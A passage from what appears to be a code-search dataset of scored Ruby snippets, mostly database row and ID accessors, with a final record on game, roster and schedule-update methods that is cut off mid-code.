"text": "def ids_writer(ids)\n primary_key = reflection.association_primary_key\n pk_type = klass.type_for_attribute(primary_key)\n ids = Array(ids).compact_blank\n ids.map! { |id| pk_type.cast(id) }\n\n records = if klass.composite_primary_key?\n query_records = ids.map { |values_set| klass.where(primary_key.zip(values_set).to_h) }.inject(&:or)\n\n query_records.index_by do |record|\n primary_key.map { |primary_key| record._read_attribute(primary_key) }\n end\n else\n klass.where(primary_key => ids).index_by do |record|\n record._read_attribute(primary_key)\n end\n end.values_at(*ids).compact\n\n if records.size != ids.size\n found_ids = records.map { |record| record._read_attribute(primary_key) }\n not_found_ids = ids - found_ids\n klass.all.raise_record_not_found_exception!(ids, records.size, ids.size, primary_key, not_found_ids)\n else\n replace(records)\n end\n end",
"title": ""
},
{
"docid": "c9ac31e9aab0aba8f7a37029d98a27c9",
"score": "0.5501463",
"text": "def selected_rows\n @selected_indices\n end",
"title": ""
},
{
"docid": "5765b752115f50c298405331b4cfe3e9",
"score": "0.54902124",
"text": "def row_id n\n n % @size\n end",
"title": ""
},
{
"docid": "e05810fc8a5128ccfdcdcaed73e5615a",
"score": "0.54728264",
"text": "def get_ids_from(table_name)\n DB::Queries.get_ids_from(table: table_name)\nend",
"title": ""
},
{
"docid": "358b74bf4f38c6d89051874f9b72e798",
"score": "0.5465704",
"text": "def ids\n @ids ||= []\n end",
"title": ""
},
{
"docid": "43f3f6fe235acf8caac53ca50cba6933",
"score": "0.5460522",
"text": "def associated_rows(records, attributes)\n if records.empty?\n [Array.new(attributes.length)]\n else\n records.map { |record| row_for(record, attributes) }\n end\n end",
"title": ""
},
{
"docid": "1e41e43aa30cde8e138eae365ea0dc97",
"score": "0.54544514",
"text": "def associated_rows_for(record)\n @includes.map do |method, attributes|\n associated_rows(Array.wrap(record.send(method)), attributes)\n end\n end",
"title": ""
},
{
"docid": "251504964f1dff0ba264c092e4cd8fe5",
"score": "0.54474443",
"text": "def rows\n @rows.lazy\n end",
"title": ""
},
{
"docid": "55deee5cf3d1f4723d2f13f709531d04",
"score": "0.5441309",
"text": "def rows\n RowCollection.new(@data)\n end",
"title": ""
},
{
"docid": "8fd7720b054ede5ea19f3e81dceae8bb",
"score": "0.5437423",
"text": "def ids; @docs.keys end",
"title": ""
},
{
"docid": "a87af0d8d951eac394dfd835ca4dc04b",
"score": "0.5424157",
"text": "def rows\n return @rows\n end",
"title": ""
},
{
"docid": "026b625d3d8651c77c27594bb737744b",
"score": "0.5408285",
"text": "def all_rows\n @rows\n end",
"title": ""
},
{
"docid": "8997684def12a5004ff346736cc4faea",
"score": "0.5405874",
"text": "def rows\r\n @all_rows\r\n end",
"title": ""
},
{
"docid": "df40c43dfaaa9e62f2d8e232e6dec910",
"score": "0.53853375",
"text": "def ids(*values)\n values.inject(self) { |res, val| res._ids(val) }\n end",
"title": ""
},
{
"docid": "df40c43dfaaa9e62f2d8e232e6dec910",
"score": "0.53853375",
"text": "def ids(*values)\n values.inject(self) { |res, val| res._ids(val) }\n end",
"title": ""
},
{
"docid": "df40c43dfaaa9e62f2d8e232e6dec910",
"score": "0.53853375",
"text": "def ids(*values)\n values.inject(self) { |res, val| res._ids(val) }\n end",
"title": ""
},
{
"docid": "568d458cde3b270697d572c5635368d6",
"score": "0.5353652",
"text": "def rows\n @rows.to_enum\n end",
"title": ""
},
{
"docid": "462ac9219028b82a29380dfd0f68ffe8",
"score": "0.5349707",
"text": "def record_ids\n @records.keys\n end",
"title": ""
},
{
"docid": "a9677d2c11bd46f1b050081e886d26dc",
"score": "0.53490186",
"text": "def __records_for_klass(klass, ids)\n adapter = __adapter_for_klass(klass)\n\n case\n when Elasticsearch::Model::Adapter::ActiveRecord.equal?(adapter)\n klass.where(klass.primary_key => ids)\n when Elasticsearch::Model::Adapter::Mongoid.equal?(adapter)\n klass.where(:id.in => ids)\n else\n klass.find(ids)\n end\n end",
"title": ""
},
{
"docid": "20dff436240620c4c3d46c4cad32fa80",
"score": "0.5345515",
"text": "def join_rows(rows)\n return @join_rows if defined? @join_rows\n\n conn = @model.connection\n join_table = conn.quote_table_name @ref.join_table\n assoc_fkey = conn.quote_column_name @ref.association_foreign_key\n fkey = conn.quote_column_name @ref.foreign_key\n quoted_ids = rows.map { |r| conn.quote r.send @ref.active_record_primary_key }\n\n @join_rows = conn.\n exec_query(\"SELECT #{fkey}, #{assoc_fkey} FROM #{join_table} WHERE #{fkey} IN (#{quoted_ids.join ','})\").\n rows\n end",
"title": ""
},
{
"docid": "1abb5b4ccb9ffcdd53b163583d647d94",
"score": "0.5331501",
"text": "def user_ids\n self.class.where(id: id).user_ids\n end",
"title": ""
},
{
"docid": "a226db1054f509fe16b602adb74b6f5e",
"score": "0.5317275",
"text": "def all_item_ids\n [id] + item_ids\n end",
"title": ""
},
{
"docid": "4e7b4ebbf5cc15b1bbbeb9d352db49ba",
"score": "0.5301363",
"text": "def rows \n @r\n end",
"title": ""
},
{
"docid": "436b0f6f9a6b2c80df9a85aed42f6c47",
"score": "0.52979654",
"text": "def row_for_record\n raise IdMissing.new(\"You must set an ID before save.\") if record.id.blank?\n\n MassiveRecord::Wrapper::Row.new({\n :id => record.id,\n :table => klass.table\n })\n end",
"title": ""
},
{
"docid": "e023912ad47e978740391b504e6d98de",
"score": "0.52894753",
"text": "def fetch_join_rows(rows)\n conn = @model.connection\n join_table = conn.quote_table_name @ref.join_table\n assoc_fkey = conn.quote_column_name @ref.association_foreign_key\n fkey = conn.quote_column_name @ref.foreign_key\n quoted_ids = rows.map { |row|\n begin\n id = row.send @ref.active_record_primary_key\n rescue NoMethodError => e\n raise MissingColumnError.new(row, e.name)\n end\n conn.quote id\n }\n\n quoted_ids.any? ? conn.\n exec_query(\"SELECT #{fkey}, #{assoc_fkey} FROM #{join_table} WHERE #{fkey} IN (#{quoted_ids.join ','})\").\n rows : []\n end",
"title": ""
},
{
"docid": "185e99579ad311b9df3f2f0a3f1588a5",
"score": "0.5265176",
"text": "def rows(opts={'start' => nil, 'limit' => nil})\n Cursor.new({'collection' => link('rows'),\n 'start' => opts['start'],\n 'limit' => opts['limit']}.update(@opts))\n end",
"title": ""
},
{
"docid": "a1e471b6c087f8a80cfe28d46a66fc22",
"score": "0.5255009",
"text": "def all_ids(_context)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "ecbbca0f17eb0097f62272236fff9c5f",
"score": "0.5236155",
"text": "def fetch_rows(sql, &block)\n execute(sql) do |r|\n r.each(:symbolize_keys => true, &block)\n end\n self\n end",
"title": ""
},
{
"docid": "838cff6ddfc2ac713e725cb8e5625cd5",
"score": "0.52012265",
"text": "def rows\n @rows\n end",
"title": ""
},
{
"docid": "838cff6ddfc2ac713e725cb8e5625cd5",
"score": "0.52012265",
"text": "def rows\n @rows\n end",
"title": ""
},
{
"docid": "838cff6ddfc2ac713e725cb8e5625cd5",
"score": "0.52012265",
"text": "def rows\n @rows\n end",
"title": ""
},
{
"docid": "bd1afecade7b30d3aa7c4cabf8df6f86",
"score": "0.519624",
"text": "def rows #:nodoc:\n @components\n end",
"title": ""
},
{
"docid": "60838e978a79e57d0391601995bfe1e3",
"score": "0.5190811",
"text": "def rows\n CellCollection.new(@data, @column)\n end",
"title": ""
},
{
"docid": "9b66f0eec935ee8b4f241f8e2923535c",
"score": "0.5188506",
"text": "def ids_reader\n if loaded?\n target.pluck(reflection.association_primary_key)\n elsif !target.empty?\n load_target.pluck(reflection.association_primary_key)\n else\n @association_ids ||= scope.pluck(reflection.association_primary_key)\n end\n end",
"title": ""
},
{
"docid": "5f0672ef3b80498470aae386e8885a45",
"score": "0.5177818",
"text": "def rows\n return @rows if @rows\n if execute && result['rows']\n @rows ||= result['rows'].map{|v| ViewRow.new(v, model)}\n else \n [ ]\n end\n end",
"title": ""
},
{
"docid": "94961ac47100a7c225989ff5d11a1df3",
"score": "0.5164769",
"text": "def yale_nd_row_as_set i\n require 'set'\n yale_nd_row(i, :array).to_set\n end",
"title": ""
},
{
"docid": "4e758fb404d0b8c8d18a2d07218c1de3",
"score": "0.51632315",
"text": "def fetch_ids(model, ids)\n mapping = {}\n\n # find the matching records\n matches = model.any_in(:_id => ids.to_a)\n\n # add in conditions that are defined in the block\n matches = yield(matches) if block_given?\n\n # reorder\n matches.each{|record| mapping[record.id.to_s] = record }\n\n # restore the order of the tiles\n ids.map{|id| mapping[id.to_s]}.compact\n end",
"title": ""
},
{
"docid": "cd95c9e6c6f9f52fb4b7e3c5b7017c62",
"score": "0.5153784",
"text": "def by_row\r\n Enumerator.new do |yielder|\r\n indices(1) do |ind|\r\n yielder << self[true, *ind]\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "3e958766d18a32c518bb9370bfa50187",
"score": "0.51343095",
"text": "def search_results_from_ids(ids)\n where(:id => ids).preload(searchable_options[:preload]).to_a\n end",
"title": ""
},
{
"docid": "10f26ad534e43fe861797de592140cd8",
"score": "0.5124854",
"text": "def ids(table)\n res = connection.query(\"SELECT id FROM #{table} GROUP BY id\")\n id_list = []\n res.each { |i| id_list << i[0].to_i }\n return id_list\n end",
"title": ""
},
{
"docid": "d0d7dd3eea70423a81b2e60dfd7adeb9",
"score": "0.5124561",
"text": "def rows(opts={'group_id' => nil, 'return_data' => true, 'start' => nil, 'limit' => nil})\n update if running?\n if succeeded?\n if not opts['group_id'].nil?\n collection = link('groups') + '/' + opts['group_id'].to_s\n else\n collection = link('rows')\n end\n return Cursor.new({'collection' => collection,\n 'start' => opts['start'],\n 'limit' => opts['limit'],\n 'extra_args' => {:return_data => opts['return_data']}}.update(@opts))\n elsif running?\n raise VeritableError.new(\"Grouping on column #{column_id} is still running and not yet ready to return groups.\")\n elsif failed?\n raise VeritableError.new(\"Grouping on column #{column_id} has failed and cannot return groups.\")\n else\n raise VeritableError.new(\"Grouping -- Shouldn't be here -- please let us know at support@priorknowledge.com.\")\n end\n end",
"title": ""
},
{
"docid": "0d6275c678a76f8f314d5e30178e9c44",
"score": "0.51032305",
"text": "def record_ids(opts = {})\n opts = opts.merge(@opts)\n client.list_identifiers(opts).full.lazy.flat_map(&:identifier)\n end",
"title": ""
},
{
"docid": "c7f1f2809efeb9920939bb11f57e99fb",
"score": "0.50959873",
"text": "def to_a\n fetch(ids)\n end",
"title": ""
},
{
"docid": "c7f1f2809efeb9920939bb11f57e99fb",
"score": "0.50959873",
"text": "def to_a\n fetch(ids)\n end",
"title": ""
},
{
"docid": "94c935b787952e7d742c048c772823b6",
"score": "0.50905246",
"text": "def get_ticket_ids\n @tickets = Ticket.all.map(&:id)\n end",
"title": ""
},
{
"docid": "38f70e072d1bde85d87e5f1de415f704",
"score": "0.5084645",
"text": "def fetch_rows(sql, &block)\n raise NotImplementedError, NOTIMPL_MSG\n end",
"title": ""
},
{
"docid": "cb22e433247ea385d070580b30c5e324",
"score": "0.5059804",
"text": "def expand_id_range(id, **opt)\n opt[:sid_key] = sid_column unless opt.key?(:sid_key)\n super\n end",
"title": ""
},
{
"docid": "4e32399044d580a60073f37f7f0e045f",
"score": "0.5059217",
"text": "def rows\n fail \"Implement #{self.class}#rows\"\n end",
"title": ""
},
{
"docid": "97c3fca9f6afb15c68a3a11b5181411c",
"score": "0.50567895",
"text": "def eager_loaded_ids(docs, metadata)\n if metadata.stores_foreign_key?\n docs.flat_map{ |doc| doc.send(metadata.foreign_key) }\n else\n docs.map(&:id)\n end\n end",
"title": ""
},
{
"docid": "64752a955f3db19f598eb3b1d4e45809",
"score": "0.50522524",
"text": "def instance_ids(*ids)\n ids.map do |id|\n {instance_id: id}\n end\n end",
"title": ""
},
{
"docid": "98308f4889b949206e71836f4d7f68f2",
"score": "0.5046725",
"text": "def liked_ids_for(klass)\n ids = Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.liked_set_for(klass, id))\n ids.map!(&:to_i) if [:active_record, :data_mapper, :sequel].include?(Recommendable.config.orm)\n ids\n end",
"title": ""
},
{
"docid": "5ce808045876184bb2c6fcc245cfa4ff",
"score": "0.50455785",
"text": "def rows(range = 'Sheet1!A1:E')\n get_spreadsheet_data('1eu1Dk67gKnrIgQQ9Fm0Y-RCMzRfZf1UaTQzEt7hjWp0', range)\n end",
"title": ""
},
{
"docid": "2a2b35717b689cd6028500a83365023b",
"score": "0.5043257",
"text": "def rows\n @rows\n end",
"title": ""
},
{
"docid": "b9d470933f4d8896d100123f6eddd87a",
"score": "0.5040761",
"text": "def rows\n @rows ||= if ActiveRecord::Base.connection.adapter_name == \"PostgreSQL\"\n result.entries\n else\n [].tap do |row_hashes|\n result.entries.map do |row|\n hash = {}\n result.fields.each do |field|\n hash[field] = row[result.fields.index(field)]\n end\n row_hashes << hash\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e5b7a10f102095b71e5b465e772617c8",
"score": "0.50263846",
"text": "def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end",
"title": ""
},
{
"docid": "3ca2026a80abe6945855e0621f63b876",
"score": "0.5021773",
"text": "def each_row\n end",
"title": ""
},
{
"docid": "d225c3c2af57d1f3b44ea8029e84749e",
"score": "0.5014051",
"text": "def rows\n @array\n end",
"title": ""
},
{
"docid": "541c1d8234d9761eb755477e7034331c",
"score": "0.5003482",
"text": "def select_rows(sql, name = nil)\n array_query(sql, name, [])\n end",
"title": ""
},
{
"docid": "7c3a770b2fe6f2d0d32147ddd4e8db7a",
"score": "0.5003263",
"text": "def to_a\n @rows\n end",
"title": ""
},
{
"docid": "b6680a20d8c47bd8d1c4100d6218ed4e",
"score": "0.49888173",
"text": "def get_msruns_from_array_of_ids(ids)\n Msrun.all(:id => ids)\n end",
"title": ""
},
{
"docid": "200b5c0b0712f7f7db2c022eec84bc4a",
"score": "0.4988731",
"text": "def selected_rows(rows_num)\n @row_array = ('A'..\"#{(rows_num + 64).chr}\").to_a\n end",
"title": ""
},
{
"docid": "35ca5f766ff2c931841dc3ffd7ca6af9",
"score": "0.49868926",
"text": "def inserted_ids\n @results[INSERTED_IDS]\n end",
"title": ""
},
{
"docid": "e9046506cd50b4fa2dd9b5a8f8571534",
"score": "0.49796107",
"text": "def getRows\n return @grid.getRows\n end",
"title": ""
},
{
"docid": "a0a56e5d190cf3501e3c27f10d8cf597",
"score": "0.4971715",
"text": "def all_ids(opts={}, &block)\n user_id = options.delete(:user_id) || User.me.id\n\n opts = options.merge opts\n\n from = \"/users/#{user_id}#{collection_path}/search\"\n\n has_results = true\n ids = []\n\n while has_results && opts[:pages] != opts[:page] do\n params = { limit: opts[:limit],\n offset: opts[:offset] }\n\n path = \"#{from}#{query_string(params)}\"\n data = format.decode(connection.get(path, headers).body) || []\n\n\n results = data[\"results\"]\n has_results = (results.any? and results.count == opts[:limit])\n\n opts[:page ] += 1\n opts[:offset ] += opts[:limit]\n\n yield(results, data, options) if block_given?\n\n ids.concat results\n end\n\n ids\n end",
"title": ""
},
{
"docid": "78559b8deead3c7d10c913e98334aa5f",
"score": "0.4959253",
"text": "def reader_ids\n group_user_ids(readers_join_table)\n end",
"title": ""
},
{
"docid": "8f38599fce272dc11b2476a01156d4d0",
"score": "0.49511355",
"text": "def fetch_rows(sql, opts=OPTS, &block)\n db.execute(sql){|result| process_result_set(result, opts, &block)}\n self\n end",
"title": ""
},
{
"docid": "98c3cd8c329115e39b4e28c4ceb8be6c",
"score": "0.49497083",
"text": "def liked_ids_for(klass)\n ids = Recommendations.redis.smembers(Recommendations::Helpers::RedisKeyMapper.liked_set_for(klass, id))\n ids.map!(&:to_i)\n ids\n end",
"title": ""
},
{
"docid": "84bcdffef6ef0db68958187b1f2551ba",
"score": "0.49496907",
"text": "def related_concept_ids(db, *ids)\n ids\n end",
"title": ""
},
{
"docid": "d509732accba176065b542d01aa9ea38",
"score": "0.49483952",
"text": "def ids\n @keys ||= []\n end",
"title": ""
},
{
"docid": "5313712d5a407ce42f704bbab38b233c",
"score": "0.49403077",
"text": "def gemd_ids_for(klass)\n ids = Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.gemd_set_for(klass, id))\n ids.map!(&:to_i) if [:active_record, :data_mapper, :sequel].include?(Recommendable.config.orm)\n ids\n end",
"title": ""
},
{
"docid": "81635c21938fe1ed07ec86f7239131d7",
"score": "0.49387786",
"text": "def ids\n key.call(\"LRANGE\", 0, -1)\n end",
"title": ""
},
{
"docid": "f89e9c0f25d7e81d5f42b06cb6b63a4f",
"score": "0.4937468",
"text": "def async_ids\n async.ids\n end",
"title": ""
},
{
"docid": "1f8f683c783b108923d16ce4a05c8996",
"score": "0.49314356",
"text": "def get_ids(table)\r\n valid_ids = []\r\n table_info = @db.execute(\"SELECT * FROM #{table}\")\r\n table_info.each do |line|\r\n line_info = []\r\n line.each do |name, value|\r\n if name == 'id'\r\n valid_ids << value\r\n end\r\n end\r\n end\r\n valid_ids\r\n end",
"title": ""
},
{
"docid": "a2062352afdc4656a3e7515ae5c14437",
"score": "0.49230367",
"text": "def fetch_rows(sql)\n return cursor_fetch_rows(sql){|h| yield h} if @opts[:cursor]\n execute(sql){|res| yield_hash_rows(res, fetch_rows_set_cols(res)){|h| yield h}}\n end",
"title": ""
},
{
"docid": "156e88ce54c312505a6921d81a562934",
"score": "0.49186176",
"text": "def map_raw_ids( ids )\n ids ||= []\n ids = ids.values if ( ids.class == Hash or ids.class == HashWithIndifferentAccess )\n ids.map { | str | str.to_i }\n end",
"title": ""
},
{
"docid": "3a50bd1349a260dd6ff418ed86dc1325",
"score": "0.49183512",
"text": "def ids\n root.ids\n end",
"title": ""
},
{
"docid": "b994325ebdfdc19a608cba28f3d55b76",
"score": "0.49147758",
"text": "def row_indexes(get_at = nil)\n @@row_indexes[@length] ||= begin\n @length.times.map do |count|\n @length.times.map do |inner_count|\n inner_count + (count * @length)\n end\n end\n end\n if get_at\n @@row_indexes[@length][get_at]\n else\n @@row_indexes[@length]\n end\n end",
"title": ""
},
{
"docid": "53599881618e23cb9b5ac28cbb241971",
"score": "0.49126276",
"text": "def ids\n @store.transaction do\n @store.roots\n end\n end",
"title": ""
}
] |
d726043225f782848b6e61fb89105e25 | Update the includes and voltage players to find their schedules in the shared directory, not the .glm's home directory | [
{
"docid": "a8b53541edb26ae789cbf53699fc0e18",
"score": "0.0",
"text": "def use_shared_path\n include_str = '#include \"'\n include_re = Regexp.new \"^#{include_str}(.*)\"\n @lines.each_with_index do |l, i|\n if l =~ include_re\n @lines[i] = include_str + shared_file($1)\n end\n end\n\n find_by_name('network_node', 1).nested.each do |obj|\n obj[:file] = shared_file(obj[:file]) if obj[:file]\n end\n end",
"title": ""
}
] | [
{
"docid": "8ba8db8af1ba896a77db490bbbecf6ea",
"score": "0.5346698",
"text": "def update\n\n # Vérifie si il y a les points des matches dans les params\n if (params[:points_manche])\n\n # Additionne tous les points des annonces\n team1_total_point_announce = params[:team1_num0_announce].to_i + params[:team1_num01_announce].to_i + params[:team1_num2_announce].to_i + params[:team1_num3_announce].to_i + params[:team1_num4_announce].to_i\n team2_total_point_announce = params[:team2_num0_announce].to_i + params[:team2_num01_announce].to_i + params[:team2_num2_announce].to_i + params[:team2_num3_announce].to_i + params[:team2_num4_announce].to_i\n\n # Met a jour la manche de la partie\n @game.update(rounds: @game.rounds + 1)\n\n # Permet de définir le nouveau distributeur\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.distributor)\n @distributor_position = player.position\n player.update(distributor: false)\n end\n end\n end\n @new_distributor_position = @distributor_position + 1\n if (@new_distributor_position == 5)\n @new_distributor_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_distributor_position)\n player.update(distributor: true)\n end\n end\n end\n\n # Permet de définir le joueur qui devra chosir l'atout\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 1\n if (@new_first_to_play_position == 5)\n @new_first_to_play_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n end\n end\n end\n\n # Verifie si les points de la manche sont a 0 et met a jour les points de l'équipe 2\n if params[:points_manche].to_i == 0\n # Vérifie si il y a un match; Si oui on ajoute 257 points sinon 157\n if params[:match] == \"oui\"\n @game.teams.last.update(points: 257 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n elsif 157 - params[:points_manche].to_i <= 0\n @game.teams.last.update(points: 0 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 - params[:points_manche].to_i + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n\n # Met a jour les points de l'équipe 2\n @game.teams.first.update(points: params[:points_manche].to_i + @game.teams.first.points.to_i + team1_total_point_announce )\n\n # Vérifie si il y a un gagnant dans la partie\n if (@game.teams.first.points >= @game.points)\n @game.teams.first.update(winner: true)\n @game.update(winner: true)\n elsif (@game.teams.last.points >= @game.points)\n @game.teams.last.update(winner:true)\n @game.update(winner: true)\n end\n\n # Sauvegarde une partie\n if @game.save\n render json: { success: true, teams: @game.teams, game: @game}\n end\n\n # Met a jour l'atout et affichige l'icone sur le bon joueur (atout)\n elsif (params[:atout] != '')\n @game.update(atout: params[:atout])\n if (params[:chibre] == \"true\")\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 2\n if (@new_first_to_play_position == 5)\n @new_first_to_play_position = 1\n end\n if (@new_first_to_play_position == 6)\n @new_first_to_play_position = 2\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n render json: { success: true, teams: @game.teams}\n end\n end\n end\n else\n render json: { success: true, teams: @game.teams}\n end\n\n # Verifie le status de la partie\n elsif (params[:status] != '')\n @game.update(status: params[:status])\n end\n\n end",
"title": ""
},
{
"docid": "7b3c413053146d8e0cc6ef318a5c485a",
"score": "0.51350915",
"text": "def update\r\n entities.each { |e| e.flush }\r\n call_before_player_update\r\n p_players.each { |p|\r\n p.performed nil\r\n p.scene.update\r\n }\r\n p_entities.each { |e| e.update }\r\n call_player_update\r\n call_update\r\n p_subplots.each { |s| s.update unless s.concluded? }\r\n p_subplots.delete_if { |s| s.concluded? }\r\n end",
"title": ""
},
{
"docid": "8fcaae1ae3bfcce07abdf9f987aa3aa7",
"score": "0.51067364",
"text": "def update_teams\n if (home_team != nil and away_team != nil)\n puts \"Updating teams\"\n #match = Matchup.new(params)\n home_team.updateResults(self)\n away_team.updateResults(self)\n home_team.save\n away_team.save\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "f5fdf8431747f3b4328f11ae171375ee",
"score": "0.50558364",
"text": "def update\n\t\tif !@winner\n\t\t\thandle_inputs\n\t\t\tupdate_projectiles\t\n\t\t\thandle_projectile_player_colision\t\n\t\telse\n\t\t\t# Wait 2.5 seconds and the re-initialize the game\n\t\t\tsleep(2.5)\n\t\t\tinitialize\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1cb9856b4338374ce5bbda8ae6da76a8",
"score": "0.50474924",
"text": "def update_player_nfl_data\r\n # get_player_data\r\n free_agents = Player.where(tlfl_team_id: nil)\r\n players_on_team = Player.where.not(tlfl_team_id: nil)\r\n players_on_team.each do |tlfl_player|\r\n # Doesn't change a current TLFL player's team if he isn't on an NFL team anymore\r\n if fd_player = @players_json.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id && fd_player[\"Team\"] != tlfl_player.nfl_abbrev && fd_player[\"Team\"]} \r\n tlfl_player.update(nfl_abbrev: fd_player[\"Team\"], bye_week: fd_player[\"ByeWeek\"], jersey: fd_player[\"Number\"])\r\n end\r\n end\r\n free_agents.each do |tlfl_player|\r\n if fd_player = @players_json.find {|fd_player| fd_player[\"PlayerID\"] == tlfl_player.fd_id && fd_player[\"Team\"] != tlfl_player.nfl_abbrev} \r\n tlfl_player.update(nfl_abbrev: fd_player[\"Team\"], bye_week: fd_player[\"ByeWeek\"], jersey: fd_player[\"Number\"])\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "2a0b215812b0223d4b43621b888d6761",
"score": "0.5034176",
"text": "def update(path, version_group_id)\n puts 'Loading data'\n Version.load(path)\n Type.load(path)\n MoveChangeLog.load(path)\n Move.load(path)\n MoveFlags.load(path)\n MoveFlags.map\n MoveFlagMap.load(path)\n PokemonMoves.load(path)\n Pokemon.load(path)\n process_moves(version_group_id)\n process_pokemon(version_group_id)\n end",
"title": ""
},
{
"docid": "24dda007f2a487a888c2b169ac8ace03",
"score": "0.50190425",
"text": "def setFreeagents(position)\n begin\n @position = position\n @count = 1\n @freeagents = []\n @waivers = []\n @players = []\n @count2 = 0\n @dropValue = -1\n @dropRec = \"\"\n @dropValueW = -1\n @dropRecW = \"\"\n \n # Loads week data\n fileName = 'StatProjector/WeeksData.csv'\n csv_text = File.read(Rails.root + fileName)\n @weeks = CSV.parse(csv_text, :headers => true)\n @currWeek = []\n @displayWeek = []\n startDate = Date.new(2018, 10, 3)\n endDate = Date.new(2019, 4, 6)\n currDate = DateTime.now-(4/24.0) \n currDateIndex = ((endDate-startDate).to_i - (endDate-currDate).to_i )\n for week in @weeks\n @currWeek = betweenDates(currDateIndex,week)\n if @currWeek != []\n break\n end\n end\n if (params[:week])\n @displayWeek = @weeks[params[:week].to_i - 1]\n else\n @displayWeek = @currWeek\n end\n @playoffStartWeek = params[:pStart].to_i\n @playoffEndWeek = params[:pEnd].to_i\n fileName = 'StatProjector/Schedule.csv'\n csv_text = File.read(Rails.root + fileName)\n @dates = CSV.parse(csv_text, :headers => false)\n @dates = getRange(@displayWeek[3].to_i,@displayWeek[4].to_i,@dates)\n @datesHeader = @dates[0]\n @daysLeft = @displayWeek[4].to_i - currDateIndex + 1\n \n \n # loads player CSV file based on position\n if (position == \"C\" || position == \"L\" || position == \"R\")\n fileName = 'StatProjector/' + 'F' + 'Projections.csv'\n else\n fileName = 'StatProjector/' + position + 'Projections.csv'\n end\n csv_text = File.read(Rails.root + fileName)\n @projections = CSV.parse(csv_text, :headers => true)\n \n # gets players from yahoo\n getPlayers(position,params[:state])\n\n # sorts players array\n @players.sort! {|a, b| b[1]['Value'].to_f <=> a[1]['Value'].to_f}\n @info = Hash.from_xml(@response.body)['fantasy_content']['league']\n rescue\n @response = \"ERROR: League ID not Found\"\n end\n end",
"title": ""
},
{
"docid": "0af071124d8b4686dd16cf33172d2b67",
"score": "0.49932572",
"text": "def update_file_path\n if self.season_changed? || self.year_changed?\n old_url_part = \"#{SEASON_PATH_NAMES.rassoc(self.season_was).first}-#{self.year_was}\"\n course_ids = self.assignments.pluck(:course_id).uniq\n \n course_ids.each do |course_id|\n course = Course.find(course_id)\n old_path = File.join(course.storage_path, old_url_part)\n \n if File.directory?(old_path)\n new_path = File.join(course.storage_path, self.url_part)\n \n FileUtils.mv old_path, new_path\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7199f252170071d61f07b53d8e51fbed",
"score": "0.49180076",
"text": "def update_systems\r\n # Update map, interpreter, and player order\r\n # (this update order is important for when conditions are fulfilled \r\n # to run any event, and the player isn't provided the opportunity to\r\n # move in an instant)\r\n $game_map.update\r\n $game_system.map_interpreter.update\r\n $game_player.update\r\n # Update system (timer), screen\r\n $game_system.update\r\n $game_screen.update\r\n end",
"title": ""
},
{
"docid": "4b8af508b3301bd4746b38494f6d04c9",
"score": "0.4890097",
"text": "def update_skills\n #puts \" vorher = #{@layers.map(&:input).inspect}}\"\n build_layers\n run_schedule\n @teams.each_with_index do |team, i|\n team.each_with_index do |player, j|\n player.replace(@prior_layer.output[i][j])\n end\n end\n ranking_probability\n\n end",
"title": ""
},
{
"docid": "147559732ae5063396c0fcd7303676fb",
"score": "0.48534483",
"text": "def update_expect\n # Expect File\n @ExpectDir = \"Expect\"\n dir_name = @ExpectDir\n Common.make_dir_with_delete(\"#{dir_name}\")\n @report.printf(\"\\n\")\n @report.printf(\"Search Expect Golden File...\\n\")\n \n # Copy from GoldenExpect\n printf(\"@I:Copy from Golden Expect dir \\\"%s\\\"\\n\",@GoldenExpectDir)\n @InstInfo.sort_by{|inst|\n inst.ModuleName\n }.each{|inst|\n file_list = Array.new\n # Search File by ModuleName\n file_list = Dir.glob(\"#{@GoldenExpectDir}/*\\(#{inst.ModuleName}\\).expect\")\n if file_list.size != 0\n @report.printf(\" Module:%-25s( Inst:%-15s):Copy expect file from CCGolden to Expect\\n\",inst.ModuleName,inst.InstanceName)\n else\n @report.printf(\" Module:%-25s( Inst:%-15s):Not found expect file in CCGolden\\n\",inst.ModuleName,inst.InstanceName)\n end\n }\n=begin\n Dir.glob(\"#{@GoldenExpectDir}/*.expect\").each{|file|\n FileUtils.cp(\"#{file}\",\"#{@ExpectDir}\")\n @report.printf(\" Copied from %s to %s\\n\",file,@ExpectDir)\n }\n @report.printf(\"Done\\n\\n\")\n\n # Copy from TmpExpect\n printf(\"@I:Copy from Tmp Expect dir \\\"%s\\\"\\n\",@TmpExpectDir)\n Dir.glob(\"#{@TmpExpectDir}/*.expect\").each{|file|\n if File.file?(@ExpectDir+\"/\"+File.basename(\"#{file}\"))\n @report.printf(\" %-40s: Already Exist in %s dir\\n\",File.basename(\"#{file}\"),@ExpectDir)\n else\n FileUtils.cp(\"#{file}\",\"#{@ExpectDir}\")\n @report.printf(\" %-40s: Copy to %s dir\\n\",File.basename(\"#{file}\"),@ExpectDir)\n end\n }\n @report.printf(\"Done\\n\\n\")\n \n file_name = \"product.expect\"\n product = open(\"#{file_name}\",\"w\")\n \n # make one Expect File ( cat )\n 